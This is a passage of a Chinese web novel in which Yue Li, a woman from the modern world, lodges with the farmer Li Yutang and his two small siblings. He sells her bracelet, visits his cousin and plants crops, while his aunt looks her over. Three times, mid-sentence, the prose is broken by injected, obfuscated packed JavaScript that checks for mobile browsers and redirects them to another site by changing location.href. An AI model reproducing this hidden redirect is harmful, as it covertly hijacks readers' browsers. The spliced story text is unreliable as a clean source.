没有问她想要什么样的发型,李玉棠自作主张给她梳了云宝髻。 很灵动,很衬她。 岳梨保持着头不动,食指伸出左右转圈,小眠儿和小宁儿一人追着她的一根手指,扑蝴蝶似的。 院子里全是孩童清脆的笑声。 梳完头,岳梨去照水缸,左看看右看看,满意得不得了,对着一旁观望的李玉棠由心夸赞道:“太强了,就凭你这手艺去我们那当个发型师绝对爆单。” 李玉棠提着的心放回肚子里,嘴里嘀咕着我不会给其他人梳头。 早上吃包子,李玉棠三个,岳梨两个,小眠儿和小宁儿一人一个,除了李玉棠,他们三人各有一碗鸡蛋羹。 “你怎么不给自己做一碗。”岳梨没动自己面前的碗,面无表情地问。 “哥哥不喜欢吃这个。”小眠儿给她解释。 小孩子不懂大人的弯弯绕绕,也不知道“不喜欢”其实是“舍不得”。 岳梨二话没说,直接起身去碗橱里拿了碗勺,将自己碗里的分了一半出来。 “吃。” 她态度坚决,李玉棠垂眸盯着那半碗蛋羹,沉默着接了过来。 “以后你不给自己做的话,”岳梨一个字一个字地说,手里握着勺子将鸡蛋搅得稀碎,“也就不用准备我那份了。” 李玉棠张张嘴却没发出声音,心里五味杂陈。 小眠儿一双大眼睛在哥哥姐姐之间滴溜溜转,转到宁宁那边发现他大口大口吃得香,小小的人儿悄悄叹了口气。 姐姐生哥哥气了,哥哥说不喜欢鸡蛋羹是骗她们,哎,好复杂。 吃过朝食,李玉棠带着五两银子和岳梨的手镯出门了。 这个银镯子虽然能看出佩戴痕迹,但是做工精美,分量也不轻,当铺老板说可以出十二两银子。虽然没买过银饰,但李玉棠在来的路上也打听过相应的价钱,更何况那老板嘴上说着“你这镯子旧了,出了我的店可就再没这么高的价”,眼睛却时不时瞥一眼柜台上泛着光的银镯。 李玉棠明白了,拿回镯子道句告辞头也不回地走了。 肥头大耳的当铺老板见他连价都不回一句就走了心里懊恼,连忙追出去,可人高腿长的李玉棠已大步流星地离开。 问了三个当铺,最终岳梨的镯子卖了十八两。 将沉甸甸的十八两妥善收好,又买了些堂哥喜爱的吃食,李玉棠循着记忆去了桂花巷子。 “咚咚咚。” “谁呀?” “我找李玉山。” 开门的小厮听到这个称呼明白这人是少爷在李家村认识的人,忙不迭将李玉棠迎进来。 下人去通禀了,李玉棠坐在大厅喝茶。 李玉山现在住的这个宅子位于杏阳镇最热闹的一角,是陆家人给他置办的,这个地段住的都是非富即贵的少爷小姐。然而这座宅子的装饰却不似外表那般气派,反倒是十分朴素,李玉棠上次来是一年前,这里的布置并无多大变化。 不多时,身着一身玉白衣袍的李玉山大步赶来,一见到自己这个堂弟便笑着开口:“你可是个稀客。” “大哥。” “坐坐,今儿怎么肯赏光到我这来了?” 李玉棠先将买的东西推到李玉山面前,才斟酌着开口:“......大哥,我有事要麻烦你。” “什么事直接说,这可是你第一次来找哥,可算是能为你做点什么了。” 李玉山十三岁那年,李玉棠十岁。一次,两人在河边钓鱼,李玉山拽鱼钩的时候不慎滑进河里,又因脚抽筋迟迟游上不来,李玉棠一个着急直接跳下河救人。 李玉棠水性比李玉山好,在河里一番扑腾后终于将人救了上来。然而秋日水凉,李玉棠年纪又小,当晚就发起高烧,病了半月才好。 李大一家一直都记着李玉棠的恩情,这些年,李大夫妇也好,李玉山自己也好,都给李三家送过不少东西,吃食那些还好,钱财他们却是一点也不肯收。如今李玉棠难得找上门来,不论什么事情,李玉山是一定要给他办好的。 说明来意后,李玉棠从怀里掏出二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144264|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两银子,“大哥,我知道这件事难办,这些银子...” 李玉山顿时沉下脸:“你好不容易求我一次,还要拿银子,是不是不把大哥当自己人?” “可是...” “别说了,银子你拿回去给小眠儿他俩多买点吃的穿的,这事交给大哥。”李玉山把银子推回去,笑着问他为何对一个陌生女子如此上心。 “大哥我...我...”李玉棠眼神飘忽支支吾吾地不知道说什么。 “哈哈哈,大哥都懂,我们玉棠长大了,有中意的女子了。”李玉山见堂弟这副欲语含羞的模样只觉好玩,忍不住要打趣他,“等这阵子忙完,哥就把这事给你办了,也顺便去看看到底是什么样的天仙让我们玉棠这么煞费苦心。” 事情敲定后,李玉棠给岳梨买了两条发带和一些绢花,绢花有大有小,她和小眠儿分着戴。也买了不少胡荽种子,茼蒿和韭菜种家里还有,不用再花钱。 * “姐姐,你生哥哥的气了吗?” 三人蹲在门口,全都手捧着脸,心事重重的样子。 岳梨是在生李玉棠对他自己那么差的气,小眠儿是在担心哥哥姐姐闹矛盾,小宁儿单纯是在学他俩玩。 “我没有。”岳梨硬邦邦地说。 “是因为哥哥撒谎,所以姐姐生气了吗?”小眠儿觑她一眼,知道她肯定是在生气。 “哼,你哥哥就是个大笨蛋。”岳梨拾了根树枝,一下一下在地上画圈,“对只认识一天的陌生人这么好,一碗蛋羹却都不肯给自己做,你们说他是不是笨?” 小宁儿:“笨。” 小眠儿想了想,说:“哥哥是笨的,有次他种田,我和宁宁在那里玩,宁宁被虫虫咬了好多大包,很痛,哥哥抱着宁宁哭,说都是他的错。可是又不是哥哥咬的,怎么是他的错呢,明明是坏虫虫的错。” 岳梨画圈的手顿住,又听小眠儿说:“大伯娘说哥哥死...额...死眼眼,给他钱都不要。大伯娘就把钱给我,让我交给哥哥,然后哥哥就生气了,说不能要别人的钱,会变得...变得贪贪。哥哥还说他会努力赚钱,让我和宁宁过上好日子。” 小眠儿注视着岳梨的眼睛,说:“姐姐,我哥哥笨笨,但是他人很好,你不要和他生气好不好?” 岳梨心里闷闷的,从小她就知道人只能先爱己才能爱人,在家里父母从来也不会因为想把什么好吃的让给她和弟弟就找借口说不喜欢,喜欢就是喜欢,为了别人而委屈自己这种行为在她们家从来不存在。所以在她看到李玉棠给自己这个“半陌生人”都准备了一碗蛋羹却没给自己做的时候,她是很生气的,昨晚的蛋花汤他喝得很香,岳梨知道他肯定是想节省一个鸡蛋才说自己不喜欢鸡蛋羹。 可是岳梨忘了,李玉棠才十七,比她还小一岁,却已独自抚养幼弟幼妹三年。在其他少年还思索着如何背着父母出去玩的时候,他已经成了家里的顶梁柱,为弟妹遮风挡雨,他早就忘了如何对自己好,如何爱自己,他一直将自己放在最后一位。 “好。”岳梨说,鼻音重重的。 “那人,你是谁?你在这里干什么!”突然,一阵女人的大叫响起。 8. 粪臭臭,我不挑粪 岳梨随手画了一个很圆的圈,正想让他俩看呢左右两边蹲着的小孩就唰地飞起来了。 她迷茫地抬起头,迎上一道充满警惕的目光。 何金夏一手拎一个侄子,站得离岳梨远远的,锐利的双眼在她身上来回打量:“你是谁!在玉棠家干什么!” 小宁儿和小眠儿被半拎在空中,两人不知所措地对视一眼,四只脚尖在地上艰难刨动,嘴里啊啊叫着。 岳梨拍拍泥,起身想和对面的高壮大婶握个手,注意到她双手没空,便尴尬的左手搭右手做了个揖,讪笑着说:“您别误会,我不是坏人。我叫岳梨,是李玉棠的朋友,来他家玩几天。” 何金夏满脸狐疑,又将岳梨从头到尾审视一遍,不信如此好看的女子会出现在偏僻的李家村。 “大伯娘,姐姐不是坏人。”小眠儿朝岳梨伸手,希望她来救自己。 “您先松手,他俩要被勒坏了。”岳梨指指眼巴巴求救的小眠儿。 何金夏这才反应过来两个侄子的后衣领还在自己手里,连忙松手检查两人有没有被伤到。 “大伯娘,你来找我们玩啦。”小眠儿笑得眼睛弯弯,抓住何金夏的衣袖摇晃。 小宁儿扑腾着两条小短腿跑到院门口,将何金夏因惊骇骤然扔地上的竹篮摇摇晃晃地提了回来,“嘿嘿,大伯娘,你给我们带了什么呀?” “大伯娘给你们做了新帽子。”何金夏余光瞟到那陌生女子还杵在一旁,凑到小眠儿耳边低声问:“好眠眠,她真的是你哥的朋友吗?” “是的呀。”小眠儿眨巴着大眼睛,脆生生地说。 何金夏暂时放下怀疑,决定等大侄儿回来了仔细问问。 岳梨自来熟,热情地招呼何金夏进屋坐,一口一个大伯娘地叫着。 四人在堂屋坐下,何金夏从竹篮里拿出三顶棉帽,“小眠儿,看看喜不喜欢?” 这是一顶桃粉色护耳帽,侧面绣了一只银元宝。 “喜欢!谢谢大伯娘。”小眠儿开心得双手握拳,小屁股一扭一扭的。戴好棉帽后她乐颠颠地跑到岳梨面前,让她欣赏自己的新帽子。 何金夏给小宁儿做的是一顶浅灰色护耳帽,侧面绣了一只包子。 “怎么样,小宁儿,大伯娘对你们好不好?”何金夏给小侄子整理帽子,一边用余光观察岳梨一边大声问。 “好!大伯娘最好了!”小宁儿胸脯一挺,圆肚子也向前腆出,响亮地答道。 “哎哟哎哟,我们小宁儿劲这么足呢。”何金夏满意了,把棉帽收好,等月底了再让他们拿出来戴。 “大伯娘,您这手艺可真不错。”岳梨欣赏着棉帽上的刺绣,对仅靠双手就能做出如此精细作品的何金夏赞不绝口,“要是拿到镇上肯定会被抢着买!啧啧啧,太好看了。” 岳梨之所以如此谄媚,一是因为她这种手残确实很佩服手作人,二是她既然住在了李玉棠家,肯定就要和他的亲戚们维持和谐的人际关系,至少不能让他们讨厌自己,不然他们刨根究底打探自己的来历,再把自己告上那什么衙门还是官府的岂不是就完了。 想到这一点,岳梨脸上的笑容更真诚了。 “呵。”何金夏抚抚鬓角,强压着嘴角的笑意。 竹篮底下是个大、清香的青梨,何金夏拿了三个出来清洗,递给跟在她屁股后面的小宁儿,招呼道:“小眠儿,来和小宁儿一起吃梨。诺,你也一起吃。” 顺手也给了岳梨一个。 “你哥哥去哪了?”何金夏给捧着青梨咔擦咔擦啃得专心的小宁儿擦擦嘴角,问道。 “锅锅去真山了。”小宁儿包着满嘴的梨,一开口,梨汁就顺着嘴角流了出来。 “哎哟哎哟。”何金夏急急忙忙给他擦干净,“你吃你吃。” “嘿嘿。” 她爱怜地摸摸小侄儿头顶—— 小侄女蹲在门口吃梨,抻着脖子防止汁水滴到衣裳上;那个不知根底叫岳梨的美貌女子也蹲在那里,看起来人畜无害的样子。 “小眠儿,大伯娘真是人美心善,给我们这么好吃的梨。”岳梨啃啃啃,嚼嚼嚼,故意很大声地说。 “嗯嗯嗯,真好。”小眠儿点头如捣蒜,压根没注意到岳梨把她自己划分在了李三家阵营的小心思。 “净会说些漂亮话糊弄人。”何金夏咕哝。 岳梨竖起耳朵听清她说什么后,捂嘴偷偷笑。 小样儿,拿捏。 临近晌午,何金夏留在李三家给他们做午饭,家里老头子不知溜达到哪里去了,一天天的不干活的时候就不着家。女儿儿子也都大了,老娘没回去她们知道自个儿做饭吃。 何金夏得知侄子们最近都没吃面条,打算做一顿手擀面。她常来这边,家什放哪里都清楚,也不需要其他人帮忙,自己风风火火地就把面擀出来了。瞧着岳梨三人乖乖坐着,雏鸟似的转着脑袋看她,三双大眼睛都亮闪闪的,何金夏便指挥她们去拔葱,不然她浑身不自在。 岳梨得令牵上两个小朋友一蹦一跳地走了。 * “宝宝,这么多菜都是你哥哥一个人种的吗?”岳梨拔起一根较粗的葱,细的留着继续长,问小眠儿。 小眠儿握住葱白抖上面的泥,肥嘟嘟的脸蛋子随着节奏颤动,骄傲地说:“我和宁宁也有帮忙哦。” “哦?你们都帮忙干什么了呀?”岳梨擦掉弹到脸上的泥点子,问她。 “我们拔了好多草,还撒种子。”小眠儿将抖干净的葱给小宁儿,让他剥葱皮。 小宁儿短胖的手指将葱皮一点点撕下,接嘴道:“嗯嗯,我还捉了虫虫。” “你捉的是土龙,哥哥说菜地里的土龙不能捉。”小眠儿谴责宁宁。 “嘿嘿。”小宁儿露出一个憨憨的笑,认错道:“然后我就没捉了嘛。” 俩娃娃懂事得异于常娃,岳梨在心里感概:真是天使小孩啊天使小孩,要是发网上那不得被网友们连夜偷走? 她仿佛触发了什么机关,情不自禁地问:“宝宝,你们喜欢什么颜色的麻袋呀?” “我喜欢银子的颜色。”小眠儿说,“姐姐你知道银子吗?就是亮亮的,很好看的,可以买很多东西的银子!” 岳梨:“姐姐知道呀,姐姐的银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144265|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镯子卖掉了,等你哥哥回来要是有剩的银子给你一点好不好?” “好!姐姐你真好!”小眠儿跳起来想抱岳梨。 岳梨见她手上脏脏的连忙抵住她额头:“洗手了再抱洗手了再抱啊,你哥给我买的新衣服,可别弄脏了。” “好哦。”小眠儿额头上顶着一个泥指纹,朝岳梨甜甜地笑。 “小宁儿,你呢?姐姐用什么颜色的麻袋可以把你拐走呀?”岳梨夹着嗓子问。 “用包子的颜色!”小宁儿用衣袖擦擦嘴角,回答道。 “哦哟,你这个小馋猫。”岳梨蹲下来语重心长地教育他:“不认识的人给你包子千万不能吃,知不知道?” 小宁儿狠狠点头:“知道,哥哥说吃了别人给的包子就要给别人挑粪,粪臭臭,我不挑粪。” 之所以这么说,是因为有一次李玉棠挑粪浇菜,小眠儿自觉站得远远的,小宁儿呆头呆脑想帮忙,结果粪桶倒了,泼了他一身,全身臭得不成样子。为了不弄脏屋子,李玉棠只能在院子里给他洗。 村里人路过发现白白嫩嫩的小宁儿成了粪娃,个个捧腹大笑,有些喜欢逗他的大孩子还跑进来嘻嘻哈哈地看他洗澡。 小孩儿也是要面子的,丢大脸的小宁儿光溜溜背对着他们嚎啕大哭。 最后还是小眠儿凶狠地把看戏的人都赶走了,人虽然走了,笑声却不断飘过来,砸在小宁儿幼小的心灵上。 从那之后小宁儿只要看见哥哥挑粪就跑得老远,坚决不靠近一步。 岳梨:“......是的,我们都不挑粪。好了,这些葱够了,回去吧。” * 何金夏做的面条筋道弹牙,很是可口,撒上她之前送来的酸豆角,酸香扑鼻,令人食指大动。 岳梨三人脸埋进碗里,吸溜吸溜,吃得头都不抬。 何金夏满足地看着小眠儿吃面、小宁儿吃面、岳梨吃... 呵,这个女子长相不凡,一定不能被她的样貌和花言巧语迷惑。 虽然她吃饭的样子也赏心悦目...... 何金夏收回视线,以防自己被她的外表欺骗。 “大伯娘,你不一起吃吗?”岳梨喝下一口酸爽的面汤,问道。 “我不吃了,朝食吃得晚,这会不饿。”何金夏面无表情地说。 虽然她也会关心人,但是谁知道是不是装出来的呢?何金夏想。 “大伯娘不仅绣活好,做饭也好吃,真是太厉害了。”岳梨捧着面碗笑盈盈的。 “......快吃吧你,吃个饭话这么多。”何金夏以手掩面,抽动的嘴角没被其他人看见。 “好哦,我这碗吃完了还要一碗哟。”岳梨埋头继续吸溜。 何金夏起身去给她下面条。 李玉棠迈着轻快步伐回家的时候就看见岳梨撅着一张油乎乎的嘴假装要亲小眠儿,小眠儿尖叫着想跑,岳梨搂住她不准动。 小宁儿捧着碗,舔着嘴,等大伯娘给他的碗里捞面。 一股说不清道不明的情绪在李玉棠胸腔蔓延,随即眼睛也开始湿润,微微模糊了视线。 9. 莫不是狐狸精变的 “啊哈哈哈,哥哥!救救我!哈哈哈哈。”小眠儿仰着脖子躲避岳梨的油嘴攻击,小身体在她怀里打挺。 “你回来了。”岳梨停下逗小眠儿,抿抿油乎乎的嘴,想掏纸擦一擦,伸手没摸到兜才恍悟这衣服没兜且这里的纸巾也不会浪费在擦嘴上。 她装作鼻子痒趁机用手挡住自己的嘴,说:“大伯娘做了面,快来吃。” “玉棠回来了,快来快来,面刚熟。”何金夏将小宁儿的面碗放好,又拿了一只碗给李玉棠捞。 李玉棠放下背篓,舀水洗手后接过大伯娘端来的一满碗面条,问道:“谢谢大伯娘,您吃过了没?” “我不饿,你吃,他们这都吃第二碗了。”何金夏语气里满是欣慰和得意。 于是大家又开始吸溜吸溜吃面。 吃过晌午饭,李玉棠被大伯娘拉到一边。 “玉棠啊,她是怎么回事?”何金夏警觉地环视一圈,确认岳梨不在,蹙着眉头低声问:“家里怎么突然多了一个大活人?” “多个大死人那不吓人么。”岳梨幽幽的声音从后方传来。 “亲娘啊!”何金夏被吓了一跳,要不是李玉棠眼疾手快将她扶住她就要撞门板上去了。 迎上李玉棠惊诧的眼神,岳梨耸耸肩,无奈道:“我上完厕所回来就听见你们在说话,不是专门来吓人的。”又拉住何金夏的手关切地问:“大伯娘,你没事吧?” 可别把自己一上午留下的好印象都吓没了,全赖这嘴皮子太滑溜,那话捧哏似的不过脑子就从嘴里冒出来了。 被一个楚楚可怜的小姑娘拉着手问候,什么骂人的话都烟消云散了,何金夏摸摸胸口,板着脸道:“下次走路出点声啊。” “好的,对不起啊大伯娘。”岳梨眼睛眨巴眨巴,嘴角往下撇。 “好了好了,大伯娘又没有怪你,去那边和小眠儿玩去,去去,别在这捣乱。”何金夏挥手赶她。 岳梨垮着肩膀走了,等背对着他们后,笑容又刷地爬上脸来。 “这小姑娘真是的...” 挺招人稀罕的。 后半截话被她咽进喉咙,转过身和李玉棠继续刚刚的话题。 李玉棠便将昨天和岳梨商量好的借口告诉了她。 “你看她那模样,真不是狐狸精变得来哄骗你?”何金夏煞有介事地说。 李玉棠哑然失笑,好说歹说总算让何金夏暂时打消了疑虑。 “那她就这么和你们住着,你以后娶亲怎么办?” “以后的事情以后再说吧。” “哎,我也不好多说什么。总之,遇到麻烦了要找长辈,不要自己一个人担着,知不知道?” “嗯,谢谢大伯娘。” 送走何金夏后,李玉棠把岳梨叫进了屋。 “这是卖镯子的钱,一共十八两。”李玉棠伸出手掌,上面分别是一锭十两的、一锭五两的银元宝和三两碎银。 “这么多!”岳梨惊讶地张大眼睛,看看银子又看看他。 “嗯,值这么多。”李玉棠眉眼弯弯,帅得不像话。 “我拿这三个小的就好了。”岳梨心中小鹿乱撞,伸出手缓慢地从他手中捏起一粒碎银放进自己手心,又捏起第二粒、第三粒,“我拿这三个就好了。” 银子要是换成铜板就好了,可以一个一个地拿很久...... 李玉棠歪歪头,手掌往前送了送。 “说好了的嘛,剩下这些当我的房租。你要好好收着,弄丢了我可不会再补哦。” 岳梨捏着三粒碎银,遗憾又欢快地走了。 李玉棠静静地注视着她的背影,手掌徐徐收拢,将剩下的银子珍重地握紧。 * “喏,小眠儿,银子。” 一粒小小的碎银落在小眠儿手里,她不可思议地抬起脑袋:“姐姐,这是给我了吗?” “对呀,给你的。”岳梨说。 “哇!”小眠儿激动地跳了起来,挥舞胳膊围着岳梨哇哦哇哦地边叫边跳。 小宁儿咬着手指踮着脚尖试探着走过来,嗲嗲地问:“姐姐,有没有我的银子呀?” 岳梨坏笑着说:“宝宝你不是喜欢包子吗?姐姐就不给你银子了,家里还有几个包子,我都拿来给你好不好?” “好呀,可是哥哥不让我一次吃那么多包子。”小宁儿沮丧地说。 “这样哦,那姐姐也没有办法。”岳梨摸摸他的小脸,忧愁地说:“这可怎么办呢。” “我的银子给宁宁分一半。”小眠儿拉起宁宁的手,想了想,又说:“还要给哥哥一半,我们一人一半。” “乖宝,你的就是你的,不用分,姐姐这里还有。”岳梨亮出另一粒银子:“当当当当,看,这是小宁宁的。” “哇!”小宁儿兴奋的脸蛋红红,双手紧成拳,小脚不断跺地,像是随时准备发.射的炮弹。 “这么高兴呀?”岳梨哭笑不得,“收好了,丢了不准哭鼻子哦。” “嗯嗯,收好,过年买肉肉吃。”小宁儿小心翼翼地捧着人生中的第一粒银子,眼睛都舍不得从上面挪开。 * 下午,准备种菜。 李玉棠向卖家询问过胡荽的种植方法。 香菜种子内部有两粒种子,需要先行将其分离。李玉棠在桌面上铺开一块旧布,胡荽种子倒上去,抹匀,再用擀面杖碾压。分离好的胡荽种子浸泡在提前准备的温水中,待吃过晚饭后就可以种下。 将剩余的胡荽种子装好,这茬要是种出来了,剩下的就明年再种。 李玉棠对和他一起忙活的弟弟妹妹说:“这是胡荽,去年在大伯家吃过一次,你们说臭臭的,还记得吗?等以后哥哥想吃的时候把它们单独做成菜,不和你们喜欢的混在一起,可以吗?” 小宁儿昂着脑袋想胡荽是什么东西。 小眠儿记起来了,皱着小脸说:“原来这是那个臭臭菜的种子,嗯,好吧,哥哥你想吃就吃吧。”犹豫片刻后又问:“哥哥,吃了臭臭菜,你会不会也变得臭臭的?” 李玉棠笑笑,说:“放心,不会的。” 岳梨挠挠脸,明白了为什么之前他不种香菜。 她想开口对两个讨厌香菜的小朋友说想吃的是自己,不是他们的哥哥,可是李玉棠对她微微一笑,招呼她去准备别的菜种。 过去,岳梨是不相信有什么完美男人的,可是,现在这个想法开始动摇了。 将茼蒿种和韭菜种各自按照相应的需求浸泡,等泡够时间再种下。 岳梨抱起泡种的盆在墙角放下,问李玉棠:“既然要浸泡这么长时间,为什么不昨天晚上泡上,今天就可以种了。” 李玉棠尴尬地抿抿唇,说:“......我忘了。” 岳梨:......刚还在夸你。 * 趁着下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144266|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖和些,李玉棠烧水让大家洗澡。 浴桶被他搬到院子里,里里外外好生擦洗了两遍。 岳梨和两个小朋友搬了凳子在院子里坐着,一人吃着一块糕点,就像那村头聚一堆的老头老太,对着干活的李玉棠“评头论足”。 “你哥力气真大。” “嗯嗯,哥哥力气真大。” “嗯嗯,气真大。” “个咋这么高,你俩多吃点,以后也长你哥这么高。” “嗯嗯,我以后肯定和哥哥一样高。” “嗯嗯,多吃点。” “也不知道你哥有没有肌肉。” “那肯定是有的,好多鸡呢。” “有的,鸡肉。” “......” “为什么你哥这么白,天天干农活不是会被晒黑吗,还是说他天生晒不黑?” “哥哥干了好多活,天天都要干。” “哥哥白,糕糕也白。” “......” “水烧好了。”李玉棠喊道。 “来啦。” 三人各自带上自己的凳子回屋。 岳梨走在前面,嘴里胡乱唱道:“小兔子乖乖,把门儿开开...” 小眠儿拖着凳子跟在她身后:“把门儿开开...姐姐,门是开着的。” 小宁儿一手拉妹妹的凳子,一手拉自己的,点头道:“嗯嗯,不用兔兔开。” 岳梨和小眠儿一起洗,李玉棠把浴桶搬到东屋,倒好了热水,又将小眠儿要穿的衣服放在床头,拜托岳梨一会帮她穿这个。 “好了,就交给我吧。”岳梨拍拍肩膀,示意他一切都交给自己。 李玉棠抱着小宁儿坐在灶前,烧一会他俩洗澡要用的水。 “小宁儿,今天和姐姐在家里发生什么了吗?” “唔,早上的时候姐姐好像生气了,然后妹妹把她哄好了。” “是因为朝食那碗蛋羹吗?” “嗯,好像是的。哥哥,你还要去哄姐姐吗?”小宁儿扭着脑袋看他。 “要的。”李玉棠轻声说。 * 岳梨戳了戳小眠儿软乎乎的肚子,惊讶道:“哦哟,宝宝,你这小肚子上的肉肉真有分量啊。” “嘿嘿嘿。”小眠儿抱着肚子咯咯笑,又好奇地伸出胳膊去戳岳梨的肚子:“姐姐是不是没吃饱呀?这里有两条沟沟。” “宝宝,这个叫马甲线,来摸一下。”岳梨捉着她的小手放在自己引以为傲的马甲线上,问道:“是不是很好.摸?” “是的,为什么我没有这个甲甲线呀?”小眠儿问。 “没事儿,等你长大了好好锻炼就有了。来,姐姐给你搓泥。”岳梨拿起一坨丝瓜络,在小眠儿的背上搓搓搓,“你这小胳膊小腿的,我都怕给你搓坏了。” 忽地想起什么,她问道:“宝宝,平常都是你哥哥给你洗澡吗?” 小眠儿坐在浴桶里玩水,回道:“嗯,哥哥说我现在还小,等我六岁了就要自己洗。” 岳梨突然觉得自己的到来还是有很大用处的,不然小眠儿长大了怎么办?青春期的那些事情谁来教她?烦恼向谁诉说?就算有大伯娘,她的思想也和小年轻接不上轨。 成长的过程中要是没有女性长辈的陪伴,不论小女孩儿还是小男孩儿,都容易缺乏心理安全感。 岳梨感概,果然还是得靠女人呐。 10. 想每年都看见梨树开花 洗完澡后,浑身都清爽,搬张椅子,舒舒服服地坐在院子里晾头发,整个人都似逃离了世俗纷扰,可以安安心心地享受当下,听风吹树叶的簌簌声,山间里的清脆鸟鸣声。 “真爽啊。”岳梨舒展四肢,两条胳膊搭在一左一右两个小朋友的肚子上,像要飞翔的大鸟。 小眠儿和小宁儿学她:“爽啊。” 岳梨脑瓜子一转,悄悄将胳膊收回来一点,倏地挠起俩小孩的肚子。 “哈哈哈哈...姐姐...哈哈哈。”小眠儿想逃却又被按回去,她尝试去挠岳梨,奈何胳膊太短,岳梨一闪身她就够不着了,“哈哈哈哈哈...哥哥...哈哈。” 小宁儿嘎嘎笑着向地上倒去,岳梨连忙将他捞了回来。 “好不好玩?”岳梨拦着两个小朋友问。 小眠儿眼珠子滴溜溜转,说:“不好玩。” “嗯?不好玩?”说着,岳梨一个起身,跳到小眠儿面前,脸上做出一副邪恶巫婆的表情,把她压在椅子上挠痒痒肉,“敢说不好玩,我挠我挠。” “哈哈哈嘎...好玩...好玩...” “来不及了!咯吱咯吱。” “妹妹我来救你!”小宁儿捡了一片树叶,双脚交替往前,一跳一跳地用树叶尖尖戳岳梨后背。 “哦哟,还有你这个小坏蛋。” 三人在院子里追逐,俩小孩一不小心摔倒了,又立马嘎嘎笑着爬起来,边跑边回头看姐姐有没有追上自己。这个时候岳梨就假装腿疼跑不动,等人爬起来后再往前追,嘴里怪叫着其他人听不懂的话。 李玉棠洗着他和弟弟妹妹的衣裳,时不时抬头看一眼嬉闹的三人,嘴角始终噙着抹笑。 耳边吵吵闹闹,心里平和安宁。 岳梨的衣服都是今天刚穿的,贴身那两件她自己洗了,外衣还是干净的,就没有换。 平常洗衣服的水都是直接拎起盆往前一倒就行了,水会慢慢浸到土壤里,但是今天三人在玩耍,李玉棠抬起盆将脏水倒远了些,以防他们跑闹的时候踩到湿土滑倒。 没有玩多久,李玉棠进屋做饭,三人就像尾随鸭妈妈的小鸭子一样跟着他进去了,争先恐后地说要帮忙。结果忙没帮上多少,火烧着烧着还烧熄了。 “我昨天就是这样烧的啊。”岳梨嘀嘀咕咕。 李玉棠将灶孔里拥挤的柴夹出来,重新擦点火石头,先用细柴架个井字,等火燃起来后,再加粗柴。 “原来要先架个‘井’字。”岳梨凑在旁边观察,两人离得很近。 “什么井字?”李玉棠盯着岳梨圆润的后脑勺,问道。 岳梨回头:“就是井呀,水井那个井,你刚刚把那几根柴这么这么摆,不就成了‘井’字么。”说着手上还配上了动作。 见他那双黑润润的眼睛一直望着自己,岳梨猜测他可能没有读过书,不识字儿,便拿了截带黑炭的木棍在灶身上一笔一笔地写。 “你看嗷,就是这样,一横、两横、一撇、一竖,学会了吗?”岳梨指着写好的字问他。 李玉棠回过神来,咬了一下唇,说:“学会了。” “真棒!”岳梨给他比了个大拇指。 晚饭是清炒萝卜丝、肉末酸豆角和一钵热腾腾的豉汤。 第二道菜是岳梨提议的,今天中午吃了何金夏做的酸豆角,简直太合胃口,于是她说可以试试把猪肉剁碎和酸豆角一起炒。 她这么说,李玉棠就照做了。 豉汤是深受邹国人民喜爱的一种汤食。 不像富贵人家做的豉汤那么丰富,农户人家做豉汤很少放肉,多是将豆豉碾碎倒进滚水里煮一煮,放入葱末、姜、花椒和马齿苋,喜欢菌子木耳的也可以加,出锅之时再放些豆豉提鲜就成了,也只有过年过节的时候农户人家才会舍得加些猪肉羊肉进去。 岳梨没喝过这种汤,捧着碗不敢下口。 “尝尝吧,味道不错的,要是实在喝不了就给我。”李玉棠端着饭碗迟迟没下嘴,注视着她的一举一动。 岳梨抬眸,见他双眼充满希冀,没再犹豫,舀了一点豉汤送进嘴里。 鲜香的汤汁滑进食道,瞬间打开味蕾,让人食指大动。 “好喝!”岳梨放下勺子,凑到碗沿咕噜咕噜喝下两大口。 明明没有吃糖,却尝到了甜味,李玉棠收回视线低头吃饭。 * 今天晚饭吃得比较早,离天黑还有一段时间,李玉棠收拾家什去打猪草。 “你们是在家里玩还是和我一起出去?” 岳梨沉吟片刻,说一起去。 去镇上就算了,路太远她走不动。打猪草就在村子里,还是可以去陪陪他的,不然他一个人多孤单呐。 见李玉棠背着特大号背篓,小眠儿和小宁儿也一人背了一个巴掌大的小背篓,岳梨问道:“我的呢?” 他们都有,那她也得有一个呀,不能搞区别对待的呀。 李玉棠揣上钥匙准备关门,听到她的话顿住,说:“家里只有两个小背篓,你想要的话下次去镇上我再买一个回来。” 岳梨:...... 那带子巨短的小背篓她背得上吗!虽然个子不是很高,但是也不要把她当成小朋友啊喂! 岳梨面无表情地看着他。 李玉棠顶着她如有实质的视线在屋里转了一圈,最后把家里的菜篮拿了出来。 “成吧。”岳梨接过菜篮挎在胳膊上。 